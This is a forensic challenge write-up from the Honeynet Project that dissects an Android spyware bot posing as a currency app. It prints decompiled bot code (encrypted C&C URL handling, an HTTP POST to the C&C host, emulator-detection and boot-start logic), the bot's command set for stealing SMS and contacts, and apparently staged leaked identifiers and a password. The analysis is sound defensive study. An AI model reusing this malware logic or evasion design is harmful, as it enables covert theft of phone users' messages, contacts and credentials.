T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011
http://www.honeynet.org/challenge2011/
Question 1. Write an executive summary of this incident.
Tools Used:
Possible Points: 3pts
Awarded Points:
An Android phone has been infected by a malicious app. This app seems to be a regular one (FXware's Currency Guide) but is in reality a bot that spies on the user, and is able to leak his/her SMS, contacts, IMSI, IMEI, send SMS and call arbitrary numbers.
The authors of this challenge provide a network capture and the damaged /data partition of the phone and the goal is to extract the malware and understand its behavior.
Question 2. Provide the phone brand, model, OS name and version.
Tools Used: strings, grep, sort, uniq, Google
Awarded Points:
Possible Points: 1pts
The phone was probably communicating using Wifi, since we can see a lot of IP addresses on the same network in the PCAP file. We can use the User-Agent header sent in HTTP requests to guess the type of each one of them :
# strings traffic.pcap | grep User-Agent | sort | uniq
User-Agent: Android/1.0 (lgp970 FRG83G)
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
User-Agent: Dalvik/1.2.0 (Linux; U; Android 2.2.2; LG-P970 Build/FRG83G)
User-Agent: Debian APT-HTTP/1.3 (0.8.3ubuntu7)
User-Agent: GoogleMobile/1.0 (lgp970 FRG83G); gzip
User-Agent: JAVACLIENT
User-Agent: Microsoft BITS/6.7
User-Agent: Microsoft-CryptoAPI/5.131.2600.5512
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.4506.2
152; .NET CLR 3.5.30729)
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR
The work is licensed under a
Creative Commons License
Copyright
© The Honeynet Project, 2011
.
Page 1 of 17
T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011
2.0.50727; .NET CLR 3.0.4506.2152; .
NET CLR 3.5.30729)
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32; jinstall)
User-Agent: Mozilla/5.0 (Linux; U; Android 2.2.2; fr-fr; LG-P970-Orange Build/FRG83G)
AppleWebKit/533.1 (KHTML, like Geck o) Version/4.0 Mobile Safari/533.1 MMS/LG-Android-MMS-
V1.0/1.2
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.9) Gecko/20100824
Firefox/3.6.9 ( .NET CLR 3.5.30729)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10
(maverick) Firefox/3.6.10
User-Agent: Python-urllib/2.6
User-Agent: jupdate
Both Windows and Linux machines are present on the network, as well as an Android phone. We can the deduce this information :
Brand: LG
Model: Optimus Black P970
OS: Android 2.2.2
The model of the phone was found simply by googling “LG P970”.
Question 3. Extract any suspicious application (if any). Detail your extraction method. Please provide name and SHA1 for each suspicious app.
Tools Used: file, mount , fsck.ext2, mke2fs, sha1sum
Awarded Points:
Possible Points: 4pts
First, we want to know the type of the partition.
# file data.bin data.bin: Linux rev 0.0 ext2 filesystem data (mounted or unclean), UUID=badcafee-dead-beef-
0000-000000000000
It is EXT2. We try to mount it :
# mount -t ext2 data.bin -o loop data mount: Stale NFS file handle
The mount command fails. Let’s see why :
# fsck.ext2 data.bin e2fsck 1.41.11 (14-Mar-2010) fsck.ext2: Group descriptors look bad... trying backup blocks... fsck.ext2: A block group is missing an inode table while checking ext3 journal for data.bin
It seems corrupted. We try to repair its superblock using mke2fs :
# mke2fs -S data.bin mke2fs 1.41.11 (14-Mar-2010) data.bin is not a block special device.
Proceed anyway? (y,n) y
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
72576 inodes, 290272 blocks
The work is licensed under a
Creative Commons License
Copyright
© The Honeynet Project, 2011
.
Page 2 of 17
T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011
14513 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=297795584
9 block groups
32768 blocks per group, 32768 fragments per group
8064 inodes per group
Superblock backups stored on blocks:
32768, 98304, 163840, 229376
Writing superblocks and filesystem accounting information: done
This filesystem will be automatically checked every 29 mounts or
180 days, whichever comes first. Use tune2fs -c or -i to override.
Now we can mount it :
# mount -t ext2 data.bin data/ -o loop
We can see that there are still a lot of errors on the filesystem :
# ls ls: cannot access dontpanic: Input/output error ls: cannot access misc: Input/output error ls: cannot access local: Input/output error ls: cannot access data: Input/output error ls: cannot access app-private: Input/output error ls: cannot access property: Input/output error ls: cannot access disk: Input/output error ls: cannot access dalvik-cache: Input/output error ls: cannot access xt9: Input/output error ls: cannot access gps: Input/output error ls: cannot access cache: Input/output error ls: cannot access fota: Input/output error ls: cannot access hidden_reset: Input/output error ls: cannot access lgmtp: Input/output error ls: cannot access adbpmms: Input/output error ls: cannot access system: Input/output error ls: cannot access backup: Input/output error ls: cannot access tombstones: Input/output error ls: cannot access anr: Input/output error adbpmms backup data gps local pcsync.txt tombstones anr cache disk hidden_reset logger property xt9 app cal.bin dontpanic lgdrm lost+found rtcTest app-private dalvik-cache fota lgmtp misc system
However, we can grab the installed applications that reside under app/ :
# ls -lh app total 54M
-rw-r--r-- 1 postgres postgres 2.0M 2011-07-24 22:07 com.adobe.reader-1.apk
-rw-r--r-- 1 postgres postgres 1.9M 2011-06-20 13:37 com.android.vending-1.apk
-rw-r--r-- 1 postgres postgres 43K 2011-07-27 23:07 com.fc9.currencyguide-1.apk
-rw-r--r-- 1 postgres postgres 327K 2011-07-24 22:06 com.google.android.apps.finance-1.apk
-rw-r--r-- 1 postgres postgres 7.0M 2011-07-24 01:24 com.google.android.apps.maps-1.apk
-rw-r--r-- 1 postgres postgres 2.1M 2011-07-24 01:21 com.google.android.stardroid-1.apk
-rw-r--r-- 1 postgres postgres 8.3M 2011-07-24 01:18 com.google.earth-1.apk
-rw-r--r-- 1 postgres postgres 13M 2011-07-24 01:20 com.opera.browser-1.apk
-rw-r--r-- 1 postgres postgres 19M 2011-07-24 22:01 com.rovio.angrybirds-1.apk
-rw-r--r-- 1 postgres postgres 742K 2011-07-24 22:05 net.xelnaga.exchanger-1.apk
The work is licensed under a
Creative Commons License
Copyright
© The Honeynet Project, 2011
.
Page 3 of 17
T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011
The third one, com.fc9.currencyguide-1.apk
, seems malicious (“fc9” == “Forensic Challenge 9” ?). Here is its SHA1 digest:
# sha1sum com.fc9.currencyguide-1.apk c630e3e9366c248a07287c2d72a7c02236ff92a5 com.fc9.currencyguide-1.apk
It seems to be FXware Currency Guide, but the name has been changed.
We uploaded the APK to VirusTotal. None of the 43 antiviruses detects it.
We computed the digest of the other ones, and they seem genuine.
Question 4. What permissions are requested by the malware(s)? Why it is suspicious? Possible Points: 1pts
Tools Used: apktool
Awarded Points:
We use apktool to disassemble the application com.fc9.currencyguide-1.apk, and to decode its Manifest.xml file.
Here is the permissions section of the manifest :
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.VIBRATE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-feature android:name="android.hardware.camera" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.READ_SMS" />
Highlighted are the permissions that, used in conjunction with android.permission.INTERNET, are suspicious. Indeed, the app is likely to transmit the user’s GPS coordinates, SMS and contacts, to a web server. More, the app can dial arbitrary numbers and will automatically start when Android boots. This is typical of malwares.
Question 5. Please provide a solution/s to quickly identify any suspicious API
(please define your suspicious API according to your understanding).
Tools Used: Dex2jar, JDGUI, grep
Awarded Points:
Possible Points: 8pt
We used Dex2jar to convert the APK into a JAR file, which can then be opened with JDGUI. We can export the Java source code into a folder, and then use grep to find intents:
# grep -rin intent . | grep "\""
./c/a.java:33: Intent localIntent3 = localIntent1.setAction(" android.intent.action.VIEW
");
./c/a.java:34: Intent localIntent4 = localIntent1.addCategory(" android.intent.category.BROWSABLE
");
The work is licensed under a
Creative Commons License
Copyright
© The Honeynet Project, 2011
.
Page 4 of 17
T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011
./c/b.java:30: Intent localIntent1 = new Intent(" android.intent.action.CALL
", localUri);
./c/h.java:26: IntentFilter localIntentFilter = new
IntentFilter(" android.provider.Telephony.SMS_RECEIVED
");
Malicious intents are those that could violate the user’s privacy (access his personal data), or steal money from him (by calling or sending SMS to premium rate numbers).
The use of SMS, contact and cryptography related APIs can be considered as suspicious:
# grep -rin sms .
./c/c.java:26: Uri localUri = Uri.parse(" content://sms/ ");
./c/h.java:26: IntentFilter localIntentFilter = new
IntentFilter(" android.provider.Telephony.SMS_RECEIVED
");
./c/j.java:4: import android.telephony.SmsManager;
./c/j.java:29: SmsManager localSmsManager = SmsManager.getDefault();
./c/j.java:34: localSmsManager.sendTextMessage
(str1, null, str2, localPendingIntent1, localPendingIntent2);
./R.java:7: import android.telephony.SmsMessage
;
./R.java:29: SmsMessage localSmsMessage =
SmsMessage.createFromPdu
((byte[])arrayOfObject[i]);
./R.java:32: String str5 = localSmsMessage.getOriginatingAddress();
./R.java:34: String str6 = localSmsMessage.getMessageBody();
# grep -rin contacts .
./c/i.java:7:import android.provider.ContactsContract.CommonDataKinds.Phone;
./c/i.java:8: import android.provider.ContactsContract.Contacts;
./c/i.java:30: Uri localUri1 = ContactsContract.Contacts.CONTENT_URI;
./c/i.java:63: Uri localUri2 = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
# grep -rin crypto .
./d/a.java:3:import javax.crypto.spec.
DESKeySpec ;
./e/a.java:4:import javax.crypto.
Cipher ;
./e/a.java:5:import javax.crypto.NoSuchPaddingException;
./e/a.java:6:import javax.crypto.
SecretKeyFactory ;
./g/a.java:9:import javax.crypto.Cipher;
./g/a.java:10:import javax.crypto.
SecretKey ;
./g/a.java:11:import javax.crypto.SecretKeyFactory;
Question 6. What is the malware's home server URL and where is it located?
Where, in the code, is/are stored the command server(s) URL(s)
Tools Used: JDGUI, Eclipse and Android SDK, Python, ping, whois, Google
Awarded Points:
Possible Points: 4pt
The URL of the C&C server is located in the daemon.a
class, and is encrypted (as many internal strings):
//hostname
String str1 = com.fc9.currencyguide.daemon.g.a.a(new byte[] { 42, 167, 73, 214, 71, 27, 136,
254, 50, 90, 90, 213, 193, 87, 209, 28, 239, 154, 72, 51, 186, 50, 238, 242, 32, 214, 41,
139, 73, 230, 181, 92 });
[...]
//port
String str2 = com.fc9.currencyguide.daemon.g.a.a(new byte[] { 87, 138, 6, 47, 250, 190, 198,
254 });
It is decrypted on-the-fly by the bot, using a key derived from the IMSI of the phone (cf question 8) : key = sha1(IMSI).substring(0,16)
The work is licensed under a
Creative Commons License
Copyright
© The Honeynet Project, 2011
.
Page 5 of 17
T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011
It is then used to perform HTTP POST requests, such as in daemon.f.a:
public final byte[] a(String paramString1, String paramString2)
{
[...]
HttpPost localHttpPost1 = new HttpPost(paramString1); //paramString1 is the decrypted URL
We can decrypt the URL with this key:
>>> ("208013002954000" | sha1)[:16] | hexstring2list
[99, 178, 82, 246, 250, 244, 22, 127]
Then we write a simple Java application that uses this key to decrypt the URL : try {
SecretKeyFactory localSecretKeyFactory = SecretKeyFactory.getInstance("DES");
SecretKey localSecretKey = localSecretKeyFactory.generateSecret(new DESKeySpec(
new byte[]{99, (byte)178, 82, (byte)246,(byte) 250,(byte) 244, 22, 127}));
Cipher localCipher = Cipher.getInstance("DES");
localCipher.init(2, localSecretKey);
String plaintext = new String (localCipher.doFinal(new byte[] { (byte)
42,(byte)167,(byte)73,(byte)214,(byte)71,(byte)27,(byte)136,(byte)254,(byte)50,(byte)90,(byte
)90,(byte)213,(byte)193,(byte)87,(byte)209,(byte)28,(byte)239,(byte)154,(byte)72,(byte)51,(by te)186,(byte)50,(byte)238,(byte)242,(byte)32,(byte)214,(byte)41,(byte)139,(byte)73,(byte)230,
(byte)181,(byte)92 })); //same thing for the port
Log.d("TestAPK", " => " + plaintext);
} catch (Exception e) {
e.printStackTrace();
}
Once decrypted, the URL of the C&C server is http://faeacdeadbeefada.zonbi.org:443 .
However, we can ping the server :
# ping faeacdeadbeefada.zonbi.org
PING faeacdeadbeefada.zonbi.org (173.255.253.196) 56(84) bytes of data.
64 bytes from brns.zonbi.org (173.255.253.196): icmp_seq=1 ttl=128 time=242 ms
64 bytes from brns.zonbi.org (173.255.253.196): icmp_seq=2 ttl=128 time=229 ms
64 bytes from brns.zonbi.org (173.255.253.196): icmp_seq=3 ttl=128 time=244 ms
^C
--- faeacdeadbeefada.zonbi.org ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2001ms rtt min/avg/max/mdev = 229.620/238.881/244.220/6.574 ms
The IP address is the same as the one within the PCAP file.
We can perform a Whois lookup on this IP :
[…]
Linode LINODE-US (NET-173-255-192-0-1) 173.255.192.0 - 173.255.255.255
[…]
The IP address belongs to Linode, located in New Jersey, United States .
Question 7. What can you say about the communications model between the Possible Points: 2pts
The work is licensed under a
Creative Commons License
Copyright
© The Honeynet Project, 2011
.
Page 6 of 17
T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011 malware and its C&C server?
Tools Used: Wireshark
Awarded Points:
The malware periodically fetches web pages on its C&C server, in order to receive orders. However, these communications are somehow obfuscated :
The server listens to the TCP port 443, usually reserved for HTTPS. But the communication occurs in HTTP, so if we want to read it with Wireshark, we have to use the “Decode as” option, and select HTTP.
All requests seem to be encrypted: no sensitive data appear clearly in the capture.
Question 8. If encryption was used for the communication, which encryption algorithm was used? What was the key used? Explain how you found it.
Tools Used: Dex2jar, JDGUI, grep, Python
Awarded Points:
We use grep to find patterns within the Java source code:
Possible Points: 4pts
# grep –rin crypto
./daemon/d/a.java:3:import javax.crypto.spec.DESKeySpec;
./daemon/e/a.java:4:import javax.crypto.Cipher;
./daemon/e/a.java:5:import javax.crypto.NoSuchPaddingException;
./daemon/e/a.java:6:import javax.crypto.SecretKeyFactory;
./daemon/g/a.java:9:import javax.crypto.Cipher;
./daemon/g/a.java:10:import javax.crypto.SecretKey;
./daemon/g/a.java:11:import javax.crypto.SecretKeyFactory;
# grep -rn DES .
./daemon/d/a.java:3:import javax.crypto.spec.DESKeySpec;
./daemon/d/a.java:5:public final class a extends DESKeySpec
./daemon/e/a.java:14: SecretKeyFactory localSecretKeyFactory1 =
SecretKeyFactory.getInstance("DES");
./daemon/e/a.java:29: Cipher localCipher1 = Cipher.getInstance("DES");
We can see that obfuscation techniques has been used (probably Proguard ?), since most of the class, method and package names has been changed to “a”, “b”, “c”, etc.
The Data Encryption Standard algorithm seems to be used in daemon/e/a.java. This class is a wrapper for creating Ciphers and SecretKeyFactories. We can use grep to find cross references to this class :
# grep -rn "daemon.e.a" .
./daemon/e/a.java:46: * Qualified Name: com.fc9.currencyguide.daemon.e.a
./daemon/g/a.java:76: SecretKeyFactory localSecretKeyFactory = com.fc9.currencyguide.daemon.e.a.a();
./daemon/g/a.java:79: Cipher localCipher = com.fc9.currencyguide.daemon.e.a.b();
It is used by daemon/g/a. This class performs decryption operations. It holds two keys, a and b.
public static byte[] a = new byte[8];
public static String b;
private static byte[] c = "HNfCha9".getBytes(); //looks like a key, but it is never used
“b” is initialized in CComService, as the IMSI of the phone. However, we do not have the IMSI yet, and by browsing the code we can see that this key is used only to decrypt internal hardcoded strings, such as the C&C server URL.
The communications between the bot and the server use the second key, “a”, which is initialized in CCcomService :
The work is licensed under a
Creative Commons License
Copyright
© The Honeynet Project, 2011
.
Page 7 of 17
T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011
localh.a(str1, "0963485269741EF69AE45D69F23AA9"); //localh’s type is daemon.b.h
com.fc9.currencyguide.daemon.g.a.a = b.a();
Let’s have a look at the daemon.b.h.a() method. Its second parameter looks like a key :
public final void a(String paramString1, String paramString2 )
{
Pattern localPattern = Pattern.compile("x=([A-F0-9]+)&n=([A-F0-9]+)&s=([A-F0-9]+)");
com.fc9.currencyguide.daemon.f.a locala1 = new com.fc9.currencyguide.daemon.f.a();
com.fc9.currencyguide.daemon.g.b localb = new com.fc9.currencyguide.
daemon.g.c(paramString2).a();
The daemon.g.c class is called. When the object is instantiated, “64” is prepended to the “09…A9” string constant. Then, the a() method is called. Roughly, here is the algorithm that is used, in pseudo-code :
P = random_prime(128) //128 is the bit size
G = random(128)
N = random(128) //N is unused
C = 0x640963485269741EF69AE45D69F23AA9 //the constant is used as an hex number
X = G ^ C mod P //modular exponentiation
X, G, P and N are sent over the network in a request to /data.php. The C&C server responds with 3 numbers N, S and X
(we’ll call it X2, to avoid the confusion with the first X). Then the malware computes :
K = X ^ C mod P //S and N are unused
K is then converted to a 16-byte array, and the 8 least significant ones (on the right) are used as the DES key for encrypting and decrypting the communications between the server and bot.
This is typically an implementation of the Diffie-Hellman key exchange algorithm. However, here it is vulnerable since C is not random (N should have been used instead). X and P can be found in the PCAP file and we have C, so we can easily find
K using the following Python script : def modExp(a, b, m) :
"""Computes a to the power b, modulo m, using binary exponentiation
"""
a %= m
ret = None
if b == 0 :
ret = 1
elif b%2 :
ret = a * modExp(a,b-1,m)
else :
ret = modExp(a,b//2,m)
ret *= ret
return ret%m p=int("00EABBE22F3A27C63780C932C76B351199", 16) c=int("640963485269741EF69AE45D69F23AA9", 16) x2=int("9915D4E8B2F342BEFC3E70C352D78F49", 16) print "%x" % modExp(x2, c, p)
Result :
The work is licensed under a
Creative Commons License
Copyright
© The Honeynet Project, 2011
.
Page 8 of 17
T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011
17355c6874cba653c4c9973a45c7007d
The DES key for encrypting and decrypting the communication is c4c9973a45c7007d .
We can convert it into a Java-style byte array :
>>> hexstring2list = lambda x: [int(x[2*i:2*i+2],16) for i in range(len(x)/2)]
>>> ",".join(["(byte)" + str(i) for i in hexstring2list("c4c9973a45c7007d")])
'(byte)196,(byte)201,(byte)151,(byte)58,(byte)69,(byte)199,(byte)0,(byte)125'
Note: The “(byte)” are required to avoid a syntax error due to the fact that Java bytes are signed.
Question 9. Please draw a graph of the decrypted communication flow, found in the pcap, between the malware and the C&C.
Tools Used: Wireshark, Scapy, Python, Eclipse, Android SDK (Emulator, adb), Bouml
Awarded Points:
Possible Points: 4pts
Flow graph
Here is a simplified flow graph of the communications between the bot and the C&C server. Redundant calls to /data.php without response have been deleted. The decrypted communications have been truncated in order to fit in the graph. XML data has been converted to function calls to improve readability. The process of extracting them is explained in the next paragraph.
The work is licensed under a
Creative Commons License
Copyright
© The Honeynet Project, 2011
.
Page 9 of 17
T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011
Decrypted communications
In order to automate the decryption of the communications, we use Wireshark to export the packets matching this filter : ip.addr==172.16.2.101 and tcp.port==443 and http
We export those packets into a pcap file, and then use Scapy to extract the HTTP layer of the packets : r=rdpcap("http_traffic.pcap") open("http_streams.bin","wb").write("\n".join([p[Raw].load for p in r if Raw in p]))
The resulting file contains all HTTP requests and responses. We can use the following Python script to extract the embedded encrypted data : import re
The work is licensed under a
Creative Commons License
Copyright
© The Honeynet Project, 2011
.
Page 10 of 17
T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011 hexstring2list = lambda x: [int(x[2*i:2*i+2],16) for i in range(len(x)/2)] def extract1():
"""Extract ciphertexts embedded in requests, in the form data=[...]"""
data = [hexstring2list(l[5:-1]) for l in open("http_streams.bin").readlines() if "data=" in l ]
print "static byte[][] extracted_ciphertexts1 = new byte[][]{"
for c in data:
print "new byte[] {",
print ",".join(["(byte)" + str(i) for i in c]),
print "},"
print "};" def extract2():
"""Extracts ciphertexts embedded in responses from the server, in binary"""
f = open("http_streams.bin","rb").read()
o = re.findall("GMT\r\nContent-Length: [0-9]+\r\n\r\n(.+?)\nPOST", f, re.DOTALL)[1:]
print "static byte[][] extracted_ciphertexts2 = new byte[][]{"
for c in o:
print "new byte[] {",
print ",".join(["(byte)" + str(ord(i)) for i in c]),
print "},"
print "};"
Those two functions generates a Java output that declares two arrays of ciphertexts (byte arrays) that can we can copy and paste to Eclipse, in order to perform decryption : public void decrypt_all() { for ( int i = 0; i< extracted_ciphertexts1 .
length ; i++) { try {
SecretKeyFactory localSecretKeyFactory = SecretKeyFactory.getInstance( "DES" );
SecretKey localSecretKey = localSecretKeyFactory.generateSecret(
new DESKeySpec( new byte []{-60,-55,-105,58,69,-57,0,125}));
Cipher localCipher = Cipher.getInstance( "DES" );
localCipher.init(2, localSecretKey);
String plaintext = new String(localCipher.doFinal( extracted_ciphertexts1 [i]));
Log.d( "TestAPK" , "i=" + i + " => " + plaintext);
} catch (Exception e) {
}
}
}
The same algorithm is applied to both groups of ciphertexts. We then run the application in the emulator, and grab the plaintexts with adb logcat :
The work is licensed under a
Creative Commons License
Copyright
© The Honeynet Project, 2011
.
Page 11 of 17
T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011
From the bot to the C&C server : imei=356772040481677&imsi=208013002954000&opname=Orange F&opcode=20801&opiso=fr imei=356772040481677&imsi=208013002954000&opname=Orange F&opcode=20801&opiso=fr
21080=Votre mot de passe est strictement confidentiel : conservez-le pr+®cieusement et ne le communiquez pas +á un tiers. Votre mot de passe est 3B6AT4&+33666186296=Le 0645324806 remporte 1 ch+¿que en euro!Composez le 0899650923 pr le retirer imm+®diatement. Jeu sous
Controle d huissier (1E35/ap+0E34/mn)&+33644066241=VocalMessenger: Vous avez recu 1 nouveau message vocal a 11:59. Pour le consulter, composez le 0899230625
Code confidentiel: 1701
(1e35+0e34-noSmsEnvStop)&20904=Mobicarte - Compte Principal. Attention, il vous reste moins dÔÇÿune journ+®e pour utiliser votre cr+®dit de 3.93 EUR.&20904=Mobicarte - Compte Principal.
Attention, il ne vous reste plus quÔÇÿune journ+®e pour utiliser votre cr+®dit de 4.05
EUR.&20904=Mobicarte - Compte Principal. Attention, il vous reste moins dÔÇÿune semaine pour utiliser votre cr+®dit de 4.17 EUR.&20904=Mobicarte - Compte Principal. Attention, il ne vous reste plus quÔÇÿune semaine pour utiliser votre cr+®dit de 4.29 EUR.&20904=mobicarte: votre ligne est identifi+®e, vous pouvez maintenant choisir votre Bonus et recharger votre compte au #123# (appel gratuit).&20904=Mobicarte: Votre numero de telephone est le 0645324806, valide jusquÔÇÿau 05/01/12.&20904=Bienvenue chez Orange,votre num+®ro mobicarte est le
0645324806. Vous b+®n+®ficiez dÔÇÿun cr+®dit de 5E de communications valable jusquÔÇÿau
05/01/12 en Fce m+®tro.& imei=356772040481677&imsi=208013002954000&opname=Orange F&opcode=20801&opiso=fr imei=356772040481677&imsi=208013002954000&opname=Orange F&opcode=20801&opiso=fr
Niobe=5553&Agent Smith=5551&Merovingian=5559&Trinity=5558&Seraph=5557&Neo=5555&Morpheus=5554& imei=356772040481677&imsi=208013002954000&opname=Orange F&opcode=20801&opiso=fr imei=356772040481677&imsi=208013002954000&opname=Orange F&opcode=20801&opiso=fr imei=356772040481677&imsi=208013002954000&opname=Orange F&opcode=20801&opiso=fr
From the C&C server to the bot :
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<rootElem>
<cmd>getsms</cmd>
<params>/01lO1110llOO.php</params>
</rootElem>
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<rootElem>
<cmd>smsspy</cmd>
<params></params>
</rootElem>
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<rootElem>
<cmd>getcontacts</cmd>
<params>/0S550SSSO5.php</params>
</rootElem>
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<rootElem>
<cmd>call</cmd>
<params>('+33645324806',)</params>
</rootElem>
The work is licensed under a
Creative Commons License
Copyright
© The Honeynet Project, 2011
.
Page 12 of 17
T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<rootElem>
<cmd>sendsms</cmd>
<params>+33645324806;Bot can send SMS !</params>
</rootElem>
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<rootElem>
<cmd>vibrate</cmd>
<params>1000</params>
</rootElem>
Note: The Android SDK and emulator are actually not required, as javax.crypto is a standard Java API.
Question 10. What personal information were leaked during this incident A special
*secret* information was leaked, Explain how and what it was.
Tools Used: None
Awarded Points:
Possible Points: 2pts
The IMSI, IMEI and contacts were leaked by the bot. More, we can find both the phone number of the owner (0645324806) and its password (3B6AT4), which is used to authenticate on Orange.fr.
The malware could also intercept baking credentials, often sent as SMS by banks when online purchasing.
Question 11. What particular techniques are used by the malware to harden analysis or to evade detection? What unusual behavior can be noticed?
Tools Used: JDGUI, baksmali, Android SDK and Emulator, Python
Awarded Points:
Possible Points: 6pts
Technique 1
As we discussed previously, the malware encrypts some of its own strings to avoid leaking the C&C server URL, as well as the whole communications. This slows down the analysis process, as the reverse-engineer needs to look for the encryption key and decrypts manually the communications.
Technique 2
While browsing the code with tools such as JDGUI and baksmali, we can see that the first operations that the malware does is a detection of its running environment. Indeed, it is able to detect whether it is running inside the emulator or not . The detection code resides in daemon/e/b, and is called in BootReceiver and FC9 :
public static Boolean a()
{
Boolean localBoolean = Boolean.valueOf(0);
if (a.a(Build.DEVICE).equalsIgnoreCase("46a808cfd5beafa5e60aefee867bf92025dc2849"))
localBoolean = Boolean.valueOf(1);
while (true)
{
return localBoolean;
//Similar test on Brand.MODEL, Brand.PRODUCT and Brand.BRAND
The work is licensed under a
Creative Commons License
Copyright
© The Honeynet Project, 2011
.
Page 13 of 17
T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011
if (a.a(Build.MODEL).equalsIgnoreCase("5a374dcd2e5eb762b527af3a5bab6072a4d24493"))
{
localBoolean = Boolean.valueOf(1);
continue;
}
if (!a.a(Build.PRODUCT).equalsIgnoreCase("5a374dcd2e5eb762b527af3a5bab6072a4d24493"))
continue;
localBoolean = Boolean.valueOf(1);
}
}
public static Boolean a(String paramString)
{
Boolean localBoolean = Boolean.valueOf(0);
return
Boolean.valueOf(paramString.equalsIgnoreCase("63B252F6FAF4167F8BCAEA57D7D47A326B7354D2"));
}
These SHA1 digest are specific to the emulator :
>>> "sdk" |sha1
'5a374dcd2e5eb762b527af3a5bab6072a4d24493'
>>> "generic" |sha1
'46a808cfd5beafa5e60aefee867bf92025dc2849'
>>>
The last one corresponds to the phone IMSI (208013002954000). Thus, this malware is specific to one device (to one SIM card, actually) and will not work on a different phone. We think the authors of the challenge did that on purpose in order to prevent any use of this malware in real life
.
These methods are called from BootReceiver :
public void onReceive(Context paramContext, Intent paramIntent)
{
if (com.fc9.currencyguide.daemon.e.b.a().booleanValue())
return;
b localb = new b(paramContext);
if (!com.fc9.currencyguide.daemon.e.b.a(a.a(localb.b())).booleanValue())
return;
[...] //Start CCcomService
If one of them returns true, the app know it runs inside the emulator, and the CCcomService won’t be launched.
Technique 3
Since the IMSI is used as a key to decrypt hardcoded strings, the same APK won’t be able to run on a device that doesn’t have the same SIM card. Thus, even if we patch the emulator detection routine (by recompiling the APK with Smali), the application won’t work . It will indeed throw this exception when it runs inside another phone (or the emulator) : javax.crypto.BadPaddingException: Given final block not properly padded
This means that the hardcoded encrypted strings could not be decrypted with the second IMSI.
Question 12. Provide a detail analysis of the malware behavior and features. Possible Points:
The work is licensed under a
Creative Commons License
Copyright
© The Honeynet Project, 2011
.
Page 14 of 17
T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011
10pts
Tools Used: Baksmali, JDGUI, Bouml
Awarded Points:
During the installation of the application, Android installs the BootReceiver class as a BroadcastReceiver. It will be called each time the phone is booting, as specified in the Manifest.xml :
<receiver android:name="com.fc9.currencyguide.daemon.BootReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
After verifying that the app is not running inside the emulator, the BootReceiver class starts the CCcomService. This service is also started when the FC9 Activity is started, which runs in background when the user launches the application with
Android’s menu :
<activity android:theme="@android:style/ Theme.NoDisplay
" android:label="@string/app_name" android:name="com.fc9.currencyguide.daemon.fc9">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
The CCcomService class implements the main loop of the malware, which is constantly talking to the C&C server. We can identify different stages in the communication, delimited by calls to the method daemon.b.c.a(). Indeed, the malware can be viewed as a Finite-State Machine, and this method implements the transition between states.
States are located in the d enum, and transitions are stored in the f enum, both located in the daemon.b package. Since
JDGUI cannot be used to view the labels of each enum value, we can use baksmali to have a human readable view of those files :
//States (daemon/b/d) new-instance v0, Lcom/fc9/currencyguide/daemon/b/d; const-string v1, "INIT" invoke-direct {v0, v1, v3}, Lcom/fc9/currencyguide/daemon/b/d;-><init>(Ljava/lang/String;I)V sput-object v0, Lcom/fc9/currencyguide/daemon/b/d;->a:Lcom/fc9/currencyguide/daemon/b/d; new-instance v0, Lcom/fc9/currencyguide/daemon/b/d; const-string v1, "NEGOTIATING" invoke-direct {v0, v1, v4}, Lcom/fc9/currencyguide/daemon/b/d;-><init>(Ljava/lang/String;I)V sput-object v0, Lcom/fc9/currencyguide/daemon/b/d;->b:Lcom/fc9/currencyguide/daemon/b/d; new-instance v0, Lcom/fc9/currencyguide/daemon/b/d;
[…]
